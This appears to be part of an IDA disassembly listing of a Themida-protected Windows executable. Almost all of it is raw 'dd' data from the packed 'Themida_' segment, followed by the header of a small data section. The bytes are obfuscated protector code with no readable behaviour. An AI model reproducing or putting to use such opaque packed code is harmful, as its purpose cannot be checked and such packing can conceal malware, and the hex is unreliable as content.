		dd 30000000h, 4B6D794Ch, 0B9E26EF2h, 0C0C9CB43h, 0A083E281h
		dd 525F6C73h, 59F08B66h, 0CCE98166h, 0D3EB81BCh, 80578053h
		dd 0D98171F5h, 7B767A05h, 0F82EE380h, 0E9C8BF0Fh, 6, 84A68266h
		dd 0BF0FDC4Dh, 84BA66C0h, 0C2806098h, 0FE9DAh, 991C0000h
		dd 592B0521h, 8073EABDh, 0C6CC9D0Eh, 8166614Ah,	0E8CAD7C2h
		dd 7, 47A8F2B5h, 0BFC26B21h, 47980858h,	0B02CBB58h, 0D1816AE3h
		dd 7A9673A9h, 8E8h, 242BBA00h, 59A29F55h, 0D08166E6h, 0E95AD9B0h
		dd 0Ch,	0FA43F29Eh, 0A77E27A3h,	3302E300h, 8E9h, 0EF0D7800h
		dd 0DC014AADh, 0C870F00h, 0F000000h, 682h, 51C08100h, 0F85B07EBh
		dd 0DE952h, 5130000h, 77FE1935h, 2C819812h, 5892B104h
		dd 7E8h, 0E4AEB700h, 15CC3AB0h,	23D2815Bh, 816CEF78h, 0A7A213E9h
		dd 66B6B24Fh, 81DDA5BFh, 118A6AD7h, 12E918h, 0E6A40000h
		dd 4BA5DBADh, 0A8614B2Ah, 1C42C56Ch, 9BB8F0C1h,	0E922B160h
		dd 9, 6EECD13Bh, 0FE4DBEF4h, 0E9F86143h, 11h, 438974E0h
		dd 4ACD1B9Bh, 3BE29021h, 5962F7A7h, 8B0FFC26h, 8, 2840Fh
		dd 61600000h, 5A1CD281h, 0E9F84457h, 0Ch, 0EC09D96Dh, 74251C06h
		dd 9BBC073Ch, 0DE8h, 5FE58F00h,	3FC6FB5Dh, 0C6767340h
		dd 890F41CCh, 5, 0D2C543BBh, 0BF665B42h, 0BF0F543Ch, 11E9DBh
		dd 38440000h, 20FFE08Dh, 0B6114E87h, 77567683h,	0F570B07Ah
		dd 0EE9h, 0DA4C7B00h, 5237EDE2h, 0A0C4A2A0h, 0E9D9B2E4h
		dd 7, 0CC05380Ch, 0B1183FCEh, 6E9A8h, 0B8AA0000h, 9ED2C775h
		dd 860Fh, 0EC800000h, 0A764B8A4h, 0AE8772Bh, 0E4000000h
		dd 35906A21h, 0E92941C6h, 8166590Bh, 804341D7h,	13E99ECAh
		dd 53000000h, 0D58CF388h, 6552BA98h, 0B89AC33h,	1A4C3B91h
		dd 7E8F91Ch, 8000000h, 0F86549B9h, 8E93811h, 82000000h
		dd 0CFFC2211h, 5F40A73Eh, 665BF951h, 0E87937BFh, 0Ch, 0BAC08EAFh
		dd 846B33AAh, 0ABA67370h, 12E8h, 0D2907100h, 4F618821h
		dd 435AFC9Fh, 3A30C622h, 6620CB4Ch, 0D843D081h,	68BE5F58h
		dd 607E6325h, 81D38B66h, 0AF7DF4E1h, 8166612Dh,	80E41DD1h
		dd 0BA6619F6h, 14E9E111h, 0A7000000h, 50D2791Bh, 0C8BFA025h
		dd 0E328D0D6h, 64FAEA6Ah, 0B9F14692h, 1CB69CEDh, 5BE5B457h
		dd 0F60F960h, 6161C1BFh, 16028BAh, 99BF663Ah, 8628BAE3h
		dd 81666CC2h, 0E8AB94E1h, 8, 7389C4D1h,	2452D369h, 58CA8B66h
		dd 0D82FDF81h, 0BF5112F6h, 0A29DC06h, 802DB659h, 8F0F75E0h
		dd 4, 0B638BF66h, 0CDAB1EB9h, 0E3816642h, 2ABEDAD2h, 660877F9h
		dd 0A9CDF81h, 7D73BAF9h, 12E951D7h, 0DB000000h,	873A0D05h
		dd 0C0D31788h, 1A36C789h, 3465DDCEh, 0F88B6645h, 0EE9h
		dd 8CC12000h, 15B111A3h, 9B94871h, 0F9DEB8Ch, 58Ch, 0F2816600h
		dd 8B5602ACh, 0E9F85ACFh, 0Ch, 69D01DF5h, 54E9D842h, 0EDE525Dh
		dd 3AB966F9h, 0FA8B56E7h, 0DE85Ah, 0A81B0000h, 2DE42156h
		dd 0EF3C1C6Fh, 58E9C702h, 8A0F40B7h, 3,	0FF9EF80h, 184h
		dd 0CE9FC00h, 57000000h, 40701B40h, 7E4537Ah, 0B4F7BDD4h
		dd 0C38B66EDh, 10E9h, 2B509800h, 0D495FBFAh, 0F452C38Bh
		dd 242D03C2h, 0B0B86667h, 0E9C9B337h, 0Dh, 0C1B440EAh
		dd 724F1ED8h, 0B7B6EDFBh, 7E8C2h, 0EAFE0000h, 8486D6B6h
		dd 0B4B360ADh, 0B9F95B61h, 32DDB318h, 7E9F8h, 0B6810000h
		dd 0F483733h, 0BBB96664h, 0BE950h, 0C8160000h, 51EDAC77h
		dd 0D60104FCh, 0C98152AFh, 753C6A42h, 53EE815Bh, 0F798F89h
		dd 58Bh, 0C6816600h, 9E8672Bh, 54000000h, 13A0690Eh, 0E97D014Dh
		dd 5BF38B66h, 0DE3CBB66h, 0D280DF8Bh, 14B75021h, 0B70F575Eh
		dd 0D0B15AF2h, 6660E78Ah, 0E8BF33BBh, 0Ch, 7AE2C96Dh, 2BAE147Dh
		dd 43015B88h, 615FD18Bh, 8B66F78Bh, 0B8E0FC7h, 0E9000000h
		dd 6, 24D77DCFh, 0DE8B9F41h, 8979E081h,	81660522h, 66FAFCD8h
		dd 0EE9FA8Bh, 7F000000h, 0FFED7AF2h, 797D1197h,	0D643AE5Ch
		dd 14E9E9h, 29AB0000h, 5157EE23h, 0ED48A5C6h, 573E7FD5h
		dd 81B1E5A1h, 0E281090Bh, 76A2C67Bh, 63AAD0BFh,	8A0F5660h
		dd 3, 5FDFB70Fh, 8BACFABBh, 48D0F3Fh, 66000000h, 0B0AB94BEh
		dd 8C0FFC0Fh, 13h, 9E8h, 0ECDC4D00h, 0F52700CBh, 0BF66757Dh
		dd 0E959DE7Ah, 10h, 0A70DA023h,	0A6CD3F69h, 34338DDDh
		dd 73BB1FFBh, 2178B966h, 554B6EB9h, 14E962h, 0D3860000h
		dd 71BBD581h, 13751C36h, 0DFF79AF0h, 0E270AD8Dh, 0F52B35Bh
		dd 289h, 5B5F5200h, 0ACE98166h,	9850F01h, 60000000h, 850Fh
		dd 61FC0000h, 5800Fh, 81660000h, 0B51F61CEh, 0FE8B66FFh
		dd 0BBD78B66h, 4216151Bh, 39EE8166h, 0D68B660Fh, 1B840FFCh
		dd 0E8000000h, 11h, 0BAD86DB4h,	51A34C92h, 0F7CAB5DAh
		dd 0FD7E3D0Fh, 28BF6602h, 10B85838h, 0BE4BBE0Bh, 1A375B9Ah
		dd 437B8FBBh, 0FFB9663Dh, 0B3F78AC2h, 0BE82Ah, 1D9F0000h
		dd 577F0442h, 2BF0EAE8h, 2830F5Ah, 57000000h, 0DE95B59h
		dd 0A0000000h, 1DE3D1C8h, 3515DD7Eh, 6C3DC529h,	0EE46BA66h
		dd 0F50DE80h, 488h, 9ABA6600h, 81DA8BF8h, 8F3813DEh, 0B70FFC69h
		dd 0CE9D3h, 0B41C0000h,	87E3F30Dh, 48A94F9Bh, 0BE85B41h
		dd 56000000h, 21A71537h, 0B001D64Bh, 0DE9C951h,	0F7000000h
		dd 0D51FD58Dh, 0FB6C76A9h, 0BC22C17h, 0DABF0F5Eh, 14E9h
		dd 0BDD70C00h, 7B308D88h, 0D6638265h, 0D529E5C9h, 95EC6693h
		dd 0ACBF665Fh, 815FB25Eh, 0EEBDC4C7h, 66FA8B17h, 538D55BFh
		dd 2800Fh, 61600000h, 0B0F98B59h, 0F98B669Dh, 880F1BB4h
		dd 8, 2810Fh, 5E570000h, 8E952h, 873F0000h, 997C7577h
		dd 815BCBC1h, 182449E3h, 0DA8B6631h, 4890F60h, 66000000h
		dd 0F7ACABAh, 0B861D6B7h, 74943CF3h, 5051FFB2h,	0F5C18166h
		dd 665A5B5Bh, 0C742E081h, 7210BF66h, 8166E18Ah,	0E9FB6AF7h
		dd 11h,	6BF2F669h, 0E3EE57C5h, 0A24A5490h, 0E3AACAD6h
		dd 0FCCB8B6Ch, 0E0D38166h, 8CE381B3h, 0F6B8570h, 0AE8F8B7h
		dd 5E000000h, 0D5438399h, 0C54D275h, 0B05EF8BAh, 8E847h
		dd 45640000h, 133D22D8h, 0CF8B3FF8h, 0CB8B6658h, 0AE9F28Bh
		dd 0DC000000h, 344D4C64h, 278B586Dh, 0E6F780D6h, 64D08166h
		dd 0A4D6818Dh, 0E95152EBh, 0Fh,	1CEC7F13h, 3144034Bh, 0DF7060E1h
		dd 66A288CCh, 0F820CBFh, 586h, 2C4DB800h, 0F3B02003h, 66F9D18Bh
		dd 0CEBBDA81h, 0C6816650h, 0E85E584Ch, 0Dh, 0D8AA9138h
		dd 8507CB41h, 60A79EE2h, 0DA8B6686h, 0DE95Eh, 8D090000h
		dd 86C9E9A7h, 55BD9245h, 0E87BED3Eh, 0Eh, 6DC3DC8Ah, 9FDB4FFDh
		dd 12060AA8h, 0BE66B9F1h, 665EE2DBh, 3EACCB81h,	39F680F5h
		dd 12E9h, 4D409900h, 0D80FEC60h
		dd 7D6EA7ECh, 80F33C60h, 6049D38Eh, 0AE9h, 4FDFE900h, 0CF6CAAADh
		dd 0E8BAACAEh, 7, 0AECD379Eh, 0F7F85C2h, 8Fh, 81615B00h
		dd 27179BD1h, 0FEBF0F7Ch, 7E9h,	1B073100h, 7D61A699h, 9E9h
		dd 0FF7B3200h, 7C0D5F15h, 0F53B171h, 48Fh, 0A9BA6600h
		dd 0BA665BA1h, 6E89733h, 0DE000000h, 2AFF0AF3h,	26C681F7h
		dd 5B446396h, 8E0FFC60h, 0Eh, 9E9h, 6F8C4D00h, 0A14E57A5h
		dd 66614FFEh, 66B0C6BFh, 66F3ADBAh, 25B9C28Bh, 0E843C79Ah
		dd 8, 74EC17BBh, 3D3D9C25h, 5BD08B66h, 8E9h, 6F77B100h
		dd 0B8CCEFA6h, 0CE937h,	0C7E50000h, 0B8D4E4C2h,	726BB16Fh
		dd 4BB8F99Fh, 661A04BAh, 0BA66C68Bh, 0E9F8CAC0h, 5, 60924635h
		dd 0E08166FBh, 0BA6634A9h, 0CE8DE0Eh, 3D000000h, 0A9A7CDA6h
		dd 13335250h, 0F189196h, 389h, 64E38000h, 0F8B70F5Ah, 0EF9ECB81h
		dd 0B70F247Dh, 0C2B70FC0h, 5846BB66h, 0FE9h, 8796C100h
		dd 84F6E354h, 96B73A9Dh, 7FE8B26Dh, 0CDD98166h,	0C38B53BBh
		dd 0D68B6058h, 59C1D3BFh, 890F6150h, 3,	0FC88B66h, 108Dh
		dd 8E85200h, 3D000000h,	4B78B14Ah, 5852189Fh, 85D38159h
		dd 0F053AACh, 1382h, 0D8F0F00h,	0E9000000h, 8, 875F4F21h
		dd 59330057h, 10E8h, 10ED0500h,	0DB116D8Fh, 0CA29B0C9h
		dd 17B559B3h, 12E876h, 4C790000h, 0B3AD0ED0h, 682132AAh
		dd 3E780E35h, 1BA1759Ah, 5FCEB70Fh, 86B8665Ah, 6E97Bh
		dd 0D5B10000h, 706B1FABh, 2870Fh, 0EC8A0000h, 8E9h, 70E52600h
		dd 64E622Ah, 5E89Eh, 0B93D0000h, 66E248B4h, 0F85BF08Bh
		dd 12E8h, 0A2BC6000h, 5E5DA888h, 0A6826611h, 0ECDC4D84h
		dd 812700CBh, 36587BEFh, 0DE85A3Ch, 0F3000000h,	3951801Ch
		dd 0F807AE7h, 79C2DA2Ch, 2A01B866h, 13800F5Fh, 0E9000000h
		dd 0Eh,	6E9B88EBh, 60D992E9h, 0D699EBB8h, 8166FA77h, 579BACD7h
		dd 8B5AC78Bh, 5E9FEh, 0E0780000h, 0F5A63430h, 13E8h, 4709E200h
		dd 0A6D23F48h, 7923C2D4h, 62C5CC8Ah, 23ADFE0Fh,	9E85Eh
		dd 48C10000h, 0DD286A69h, 660D772Fh, 5B8D85BBh,	9E9h, 1572D900h
		dd 5804B534h, 890FA798h, 6, 6A21D981h, 0DE813AD2h, 1D594A95h
		dd 9DBF6660h, 3BDA8167h, 61539C37h, 13E9h, 0EDF0BC00h
		dd 92B5920Dh, 9725910Dh, 6A2ED2F7h, 0FD8B5E77h,	8B66FCF8h
		dd 0A1EB81FAh, 0E87BF4EAh, 14h,	3153DD44h, 4737C856h, 0CBA81656h
		dd 9CECFFBCh, 0C3EE777Ah, 0BFDE8050h, 0BE95F5Eh, 0DF000000h
		dd 0CA480CC2h, 2865B9ECh, 8B664A3Eh, 58F0FC2h, 66000000h
		dd 4AC0E281h, 0BE9h, 0B1A48600h, 6A8644B2h, 0A8A1101Fh
		dd 60D08B66h, 0D0805B57h, 81666191h, 807126D1h,	0E98194DCh
		dd 5B969AA4h, 13E8h, 0D682B600h, 1ED6DEEAh, 7222373Dh
		dd 64D3630h, 5E8B01D3h,	0AFB2565Eh, 13E95Ah, 84EF0000h
		dd 94197B84h, 98FB9FA4h, 8D7CE9F0h, 881A20FCh, 1810F30h
		dd 0F5000000h, 0F960D7B7h, 613CF180h, 0CA3DC881h, 10E8706Fh
		dd 0C3000000h, 35CEA2D2h, 2A15F094h, 0DCAF4555h, 66FF60B6h
		dd 0E95FDF8Bh, 11h, 8B50B8DFh, 0F46D589Fh, 6291A0B7h, 2DCD24E3h
		dd 3CCE817Eh, 0B82CA6E7h, 55265E87h, 4571D981h,	81605BF9h
		dd 8D9984DBh, 0BE95300h, 8E000000h, 0BB4F2E9h, 5C10C412h
		dd 61589717h, 8ABDCF80h, 0E7B5F8D0h, 46BBD88Bh,	665401EAh
		dd 13E9F88Bh, 0E8000000h, 4409ABBh, 0D3450185h,	0F502054Eh
		dd 89777BEAh, 0D08A08DCh, 810Fh, 0BE80000h, 0FF000000h
		dd 17444926h, 0A2C1DEAFh, 6652735Bh, 5A5BC68Bh,	0CB8BCE8Bh
		dd 9AC280F9h, 6B08E081h, 51FC10F6h, 5AFCED80h, 12E9h, 0AF7B8200h
		dd 0F7E2F432h, 6FFD4DB7h, 0D189226Ch, 0B0F224B2h, 38E0FDDh
		dd 0F000000h, 8166F8B7h, 8B5592DFh, 7880FFEh, 0F000000h
		dd 182h, 5251FC00h, 605B5BF5h, 0C8F0Fh,	7E90000h, 5A000000h
		dd 0D9EF3989h, 0F61A99Bh, 0D68BFAB7h, 0FE860h, 15D30000h
		dd 3488BCBh, 43484B73h,	24122B48h, 96D28152h, 5A77B877h
		dd 0AD55E081h, 66611694h, 1E2AEF81h, 0F23E880h,	5E9F3B7h
		dd 0A7000000h, 0A1B64F02h, 51ACE181h, 4B51508h,	0FE9h
		dd 0E9D90D00h, 0B326999Bh, 595BC075h, 12A8F78Dh, 0DE9h
		dd 0C1E44500h, 0EC4CD568h, 3ADDD55Bh, 0D88A7FF7h, 0BF0ABE66h
		dd 7E8h, 0A3EC5400h, 6BBCF7B1h,	0BE6659F9h, 0BA66BDB8h
		dd 0E98162C2h, 667B56BFh, 66CE8B66h, 632FDB81h,	0BF0FC88Bh
		dd 0DF8166F1h, 12E99840h, 5000000h, 68A92F2Fh, 0BDB55F0Dh
		dd 0AA79032Eh, 40F03970h, 5E9FAh, 4F700000h, 0B94FE734h
		dd 15969512h, 14E86DB3h, 0E6000000h, 22A8A756h,	0E30A9FADh
		dd 0A3929B0Ch, 4B4D8DFFh, 0BACF0412h, 36E286AEh, 3880F58h
		dd 80000000h, 0C78BF2EBh, 60F9BF0Fh, 14E8h, 8A2B0000h
		dd 6CC5DF6h, 0E9C0F3FCh, 6B9F146Ch, 0A834A2F0h,	0BE949h
		dd 255A0000h, 4B190822h, 1CC24FEEh, 0E8615E41h,	12h, 4A1289C5h
		dd 1C48FE30h, 1F0A13C7h, 0ED0D36F0h, 7DBB2548h,	5E2DC177h
		dd 8166CA8Bh, 8A6F28EAh, 0D78B66E7h, 0BE8h, 0A6275B00h
		dd 0E3F8E7D7h, 1ACD6BBAh, 9E9h,	4140FD00h, 44B5F63h, 815926A6h
		dd 0B82751C7h, 0CABF0F2Eh, 663DC580h, 0B757C381h, 4CBF66FCh
		dd 5E86090h, 78000000h,	0AD18E010h, 34C0E181h, 665F60EFh
		dd 61DCCFB9h, 0FE8h, 3AF07300h,	0A64A200Ch, 18521FDCh
		dd 5D5FE58Fh, 0DE8h, 628B5500h,	5AC534E5h, 0FECEFD12h
		dd 0BF0FCC5Eh, 815859FFh, 0CA24A1C7h, 81D08B0Ch, 0B62D6AE1h
		dd 0F08B6615h, 7DE18166h, 0B8B0F4Bh, 0F000000h,	585h, 0FEFFB900h
		dd 47B36A89h, 38C0Fh, 0B70F0000h, 13E9F0h, 0BD370000h
		dd 0FB3B6628h, 0DF6BA74h, 244BE2Dh, 0C002AFEh, 0F1816686h
		dd 0BE82648h, 0D7000000h, 95D1A227h, 1B7F1822h,	0BF0F2B91h
		dd 800F59C9h, 2, 810FD18Bh, 11h, 9E8h, 9BA5EB00h, 896C4C55h
		dd 59514FCBh, 7E95Fh, 0A95C0000h, 7321BF0Fh, 12E901h, 73FE0000h
		dd 0F83DB9D4h, 838359B9h, 556A42Dh, 61B3D25Ah, 38C0Fh
		dd 0BF0F0000h, 6830FFBh, 81000000h, 0B99AF7D0h,	0CB816653h
		dd 8A0FCE73h, 4, 0E784B866h, 38C0Fh, 0EC800000h, 10E896h
		dd 66FC0000h, 0E1649F47h, 410A759Dh, 156D0B05h,	0F5FC885h
		dd 87h,	0B70F5100h, 0E9805FC6h,	88E0F7Bh, 57000000h, 860Fh
		dd 0F5A0000h, 8166F8B7h, 53E1CFDBh, 6B96656h, 0E9585B69h
		dd 5, 62CE1965h, 4810F0Ah, 66000000h, 8B8C47B8h, 0F560F9D6h
		dd 7E860h, 3EDF0000h, 7E7AED37h, 860F5B9Ch, 0
		dd 0EE816161h, 5C328A8Ch, 0D20CBA66h, 0D580F860h, 8F0F6164h
		dd 2, 8B66C8B3h, 0AE9DFh, 46F60000h, 8FE7F49Dh,	8D4503DAh
		dd 0D6B70FF5h, 54FCC681h, 66500958h, 2F11F281h,	8B66F85Eh
		dd 0BF0F50D0h, 0FE95EDBh, 0C6000000h, 4256DBA8h, 3E68A4CFh
		dd 6DFD6B8Ah, 800FB587h, 2, 8166D08Bh, 802D3BEAh, 14E8AFC2h
		dd 0F6000000h, 0D695ED08h, 7ADA74DBh, 0DD9FB605h, 17021F8Ch
		dd 8BAA5AEDh, 13E95EF0h, 0EF000000h, 9BBBC734h,	41669E13h
		dd 0B4C6AEC9h, 0FF93BCBFh, 850F6E3Dh, 4, 4F06B866h, 0A749BFFCh
		dd 8B66188Ch, 8E0FCFh, 80000000h, 0FC60FDCEh, 38E0Fh, 0E4800000h
		dd 6BBF61E3h, 0E87B778Bh, 0Ch, 0B67081F4h, 0A1E04FDCh
		dd 1CD9E698h, 5890Fh, 73BF0000h, 5B18E027h, 14860Fh, 0FE90000h
		dd 7E000000h, 0B623F13Ch, 0A5CD0C5Dh, 6CA5A0Dh,	0FFC87D2h
		dd 58Dh, 0F3816600h, 0E9FC4C09h, 6, 8280D739h, 0BB68B0h
		dd 6668B9EEh, 0B862D1B8h, 1B32ABAAh, 666021B3h,	6C1C981h
		dd 0B633B560h, 0F61610Bh, 14E9DBBFh, 0C000000h,	9B83B1F7h
		dd 5F8AAA5Bh, 8B925368h, 0E5D19251h, 0BF426BA1h, 2EA47A84h
		dd 38B0Fh, 0B70F0000h, 7E960FEh, 76000000h, 0FED33537h
		dd 0F61E589h, 181h, 0B866F900h,	0FA8BE3AAh, 0EE8h, 0B92D300h
		dd 532CB680h, 0FC1FE676h, 0E99872DAh, 11h, 13866F57h, 0D0EC93DBh
		dd 0B6C6106Eh, 0F5AF94DAh, 820F5A75h, 2, 0D98BE68Ah, 0B3C07ABAh
		dd 0E530B937h, 8B661266h, 0B7E080FAh, 0C774B966h, 4E9E981h
		dd 0D08A49EBh, 13E9h, 74CD7500h, 6E5C3904h, 90BBAE24h
		dd 8DA72BCh, 8D8F30A1h,	14E9h, 614CD800h, 0D357D0EBh, 594E5F00h
		dd 0C224027Ah, 18DDD3h,	810F2Ah, 0BF000000h, 6F8E1AE2h
		dd 7850Fh, 66510000h, 216FC781h, 0B866F558h, 8B66BFE2h
		dd 4FBB66C1h, 0D98B6697h, 8860Fh, 8F0F0000h, 2,	9E95A56h
		dd 7A000000h, 0A312185Fh, 2EBAFC7Fh, 7E9h, 28FF1800h, 25016518h
		dd 66D0BF0Fh, 0BB7B4CBEh, 53940EC8h, 0F5672B1h,	689h, 10DF8100h
		dd 596FC239h, 0F37E1CBFh, 13E87Eh, 0E8540000h, 1A3404C1h
		dd 7CF98AF4h, 5E52DD3Dh, 6708A0F8h, 0AE992h, 6D150000h
		dd 0F976DC6Fh, 3DFD3B10h, 0FDA8B58h, 68Ah, 0BEEF8100h
		dd 0E95E6C22h, 0Dh, 0D33A316Fh,	6357E075h, 0F05C5B15h
		dd 5ED5804Dh, 12E8h, 73EEE700h,	7214A144h, 77E76C02h, 0C266D1D5h
		dd 0FCF7C10Dh, 0F0816659h, 0D18BF772h, 6810Fh, 0D0810000h
		dd 14BDE7BAh, 0BF0F0DB7h, 66CA8BD1h, 0ED68E981h, 7B6BA5BBh
		dd 28A0F27h, 0B4000000h, 51DC80D3h, 60D98B66h, 60DFBF0Fh
		dd 13E9h, 5762FD00h, 718A5C75h,	9E4FFA57h, 69AE62CAh, 85FA1500h
		dd 25468DB9h, 66616150h, 0AE9FA8Bh, 77000000h, 4A1EEDF3h
		dd 0BFE176D4h, 0A4C38143h, 0B85CA339h, 6AAF5C89h, 14E9h
		dd 38156E00h, 71E4B594h, 0E95F1169h, 0BB5192D1h, 19F1723Dh
		dd 58C0FF2h, 0B8000000h, 15E560C1h, 94F8C281h, 81667809h
		dd 0B822D9EBh, 44BC5A6Bh, 8BF6BF0Fh, 0DB8166D0h, 0BF0F8C9Ah
		dd 0F85CB0F7h, 66F08B66h, 0D78BF38Bh, 8F0F60F5h, 15h, 10E9h
		dd 47711A00h, 0D36481A0h, 0BA35AC7Fh, 0B823F3CDh, 612AB2D4h
		dd 5CCEC981h, 81666D95h, 0E83B9ACEh, 10h, 8509304Bh, 0B805DC74h
		dd 142CB156h, 9025C0DFh, 59C18B66h, 0E544BE66h,	6673EB80h
		dd 6665B2B8h, 0E9FCCE8Bh, 0Fh, 438285E7h, 0CA0D95CAh, 7629243Fh
		dd 0E8C2C5ECh, 6, 3AD8ED5Dh, 35BF35A4h,	5F7ECB95h, 0E47914BEh
		dd 0F5F564Ah, 580h, 0F1816600h,	0BE66648Eh, 13E83BACh
		dd 0E2000000h, 1E0A90D9h, 5AE68B09h, 0E6326175h, 49963B13h
		dd 0BE66CFD4h, 0F58E98Ah, 47B9CBB7h, 0F394B44h,	0C38BF0B7h
		dd 5BCA8B57h, 965DB966h, 3066EB81h, 8B66592Ch, 12E9C1h
		dd 6E900000h, 0A2BB90D0h, 0C14C389Dh, 0BE527D00h, 115F4903h
		dd 13830Fh, 0E9600000h,	7, 0D85F3AF5h, 0BBDB89DCh, 6F659890h
		dd 0EE961h, 9BE00000h, 61928106h, 0A5DC9431h, 0DE245E66h
		dd 5E9h, 61DAE500h, 0E8516169h,	0Ah, 72B2DFB6h,	861F7020h
		dd 0DB81AE43h, 2096DB92h, 0D08B5F5Ah, 0AE8h, 0EC209E00h
		dd 0A07D2ECFh, 664F02A7h, 51E3F781h, 6E95Eh, 4B4E0000h
		dd 52F03BA5h, 12E9h, 177E1700h,	72591679h, 0B6D1C595h
		dd 58401E43h, 661D6024h, 72C9F781h, 0AE9h, 377A5C00h, 9B619C89h
		dd 0FBBAB91h, 8A0FDEBFh, 0
		dd 9C38166h, 0F18B66C2h, 0FF28B66h, 0E8FCCEB7h,	8, 0CBB28E71h
		dd 1B9E2E9Eh, 0E6B4BA66h, 0F616059h, 88h, 0AE800h, 0EE570000h
		dd 4A5490E3h, 0AACAD6A2h, 5ECFBF0Fh, 0CE8h, 0BED22700h
		dd 94733E83h, 0B9B1346h, 178BBB2Bh, 665B19DEh, 60367CBBh
		dd 0F1816660h, 0E480CB95h, 816161AAh, 84DC0CD3h, 17840F72h
		dd 0E8000000h, 0Fh, 706A81AEh, 0C04C0979h, 4190D688h, 0B6873553h
		dd 0A9BE5B7Fh, 0F9321C84h, 0D78B6657h, 28E0F5Bh, 8B000000h
		dd 0DEBF0FF1h, 11E989B2h, 2E000000h, 5CA1FC9Ch,	3AE77976h
		dd 4755BC29h, 0DDE7E204h, 38D0Fh, 0BF0F0000h, 0CE8CEh
		dd 88BD0000h, 657B308Dh, 0C9D66382h, 0E85829E5h, 0Ch, 0EA8A67B0h
		dd 0B6B3799Ah, 0A55DF92Dh, 0C4CB815Bh, 0F291A6Dh, 282h
		dd 0B3DA8B00h, 0EA8166F0h, 9BB9BF47h, 564B3102h, 138C0Fh
		dd 0EE90000h, 0EA000000h, 6427F937h, 625378E9h,	538C51DDh
		dd 0B70F5856h, 5ABE66F9h, 9E957h, 67CE0000h, 79B86EC8h
		dd 0FC7A0381h, 30C18166h, 5E9FCACh, 9E000000h, 5EDD9155h
		dd 0A890FFCh, 0E9000000h, 5, 0D2CE4960h, 0FF78B1Fh, 185h
		dd 0E9F9FC00h, 11h, 87A924BFh, 44B833B1h, 8F0858D4h, 714CC855h
		dd 0DFBF0FE1h, 0E57EB966h, 0DE9h, 81FE9B00h, 5C72D65Ah
		dd 3876DD79h, 0BB6608FFh, 66F5886Ch, 50B8EE81h,	13C78166h
		dd 0DF8B66D1h, 0AC3EBA66h, 53D38B66h, 0D830Fh, 7E80000h
		dd 7F000000h, 1F8289D5h, 5A59EBF8h, 0FC8B70Fh, 12E9FABFh
		dd 0C000000h, 0AB3E6BDDh, 503F560Eh, 0D4675A68h, 8A8CD25Dh
		dd 0BE901h, 2E430000h, 807252E9h, 0E670D1D7h, 13E8A1h
		dd 71520000h, 0EE1970Fh, 825BB36Ch, 18EBE9C9h, 6FCF33CEh
		dd 0B7F0802Eh, 8B66F95Eh, 0F08B66F3h, 18800Fh, 13E90000h
		dd 0C8000000h, 24F8523Fh, 3BF74600h, 0B68F13BAh, 46AA7FE1h
		dd 6056C259h, 0B70FF78Bh, 0F85E61F1h, 66CFB70Fh, 725DE081h
		dd 666DE580h, 940FF081h, 0E9D7BF0Fh, 0Dh, 9A47BB93h, 0CB0113B4h
		dd 19466A47h, 53F88B69h, 18DC781h, 0BB586046h, 3879B82Eh
		dd 158E0Fh, 0EE80000h, 0D2000000h, 0BFA02550h, 28D0D6C8h
		dd 0FAEA6AE3h, 0F558F964h, 0CBBF0F51h, 0F680F859h, 0C7816640h
		dd 0D881CA7Dh, 5116AEB0h, 38B0Fh, 8B660000h, 816660D1h
		dd 0E91213DBh, 0Ah, 71E9BF07h, 85B6BBF4h, 6061D92Bh, 0F2BF0F60h
		dd 61DEBF0Fh, 78B0BF66h, 8B0F61h, 0F000000h, 8166F0B7h
		dd 0BAB057D9h, 3145C4B6h, 10B13BAh, 0E9816644h,	58500D22h
		dd 0DDB4FC60h, 52F98B61h, 8C0F60h, 61000000h, 0D181665Ah
		dd 7E9144Bh, 0D7000000h, 5F4F2183h, 0BF0F5787h,	0E38166F8h
		dd 0DE9DDCCh, 88000000h, 0ECE0E4DEh, 0FC8A098Fh, 0D79C3717h
		dd 68E0Fh, 0C9810000h, 5A661FA7h, 0CA8B6653h, 0DA8B665Eh
		dd 7E95A53h, 0B5000000h, 0E4BF2C42h, 66F5A8F3h,	0A2C6E281h
		dd 4800Fh, 60600000h, 890F6161h, 3, 0E8DA8B66h,	12h, 0CED2D7ABh
		dd 4A71A765h, 0F0C809DDh, 171E7039h, 5BF56819h,	60CCD180h
		dd 66CEB70Fh, 8061FA8Bh, 816679C2h, 0F5191CAh, 87h, 0F88B6600h
		dd 3BB3F08Bh, 75h dup(0A0F4A7ACh), 0CC5AF5ACh, 3Eh dup(0CC5AF54Ch)
		dd 7DF8E9B6h, 1B1h dup(7DF8E9B7h), 0C8DF7EB7h, 3F2h dup(0C8DF7E2Fh)
		dd 2F54942Fh, 0BDh dup(2F54940Ch), 246D940Ch, 2Ch dup(246DBECAh)
		dd 2C5762CAh, 20h dup(2C57626Eh), 2C36E36Eh, 36h dup(2C36E3A1h)
		dd 46061DA1h, 34h dup(46061D40h), 0CCCC1D40h, 0C2Eh dup(0CCCCCCCCh)
		dd 131h	dup(0)
Themida_	ends

; Section 5. (virtual address 001D4000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001D4000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5D4000h
		dd 80h dup(0)
		dd 18Dh	dup(?)
		db 3 dup(?)
byte_5D4837	db ?			; DATA XREF: Themida_:0055E180o
		dd 148h	dup(?)
		db 3 dup(?)
byte_5D4D5B	db ?			; DATA XREF: ___:off_43163Co
		align 400h
_idata2		ends


		end start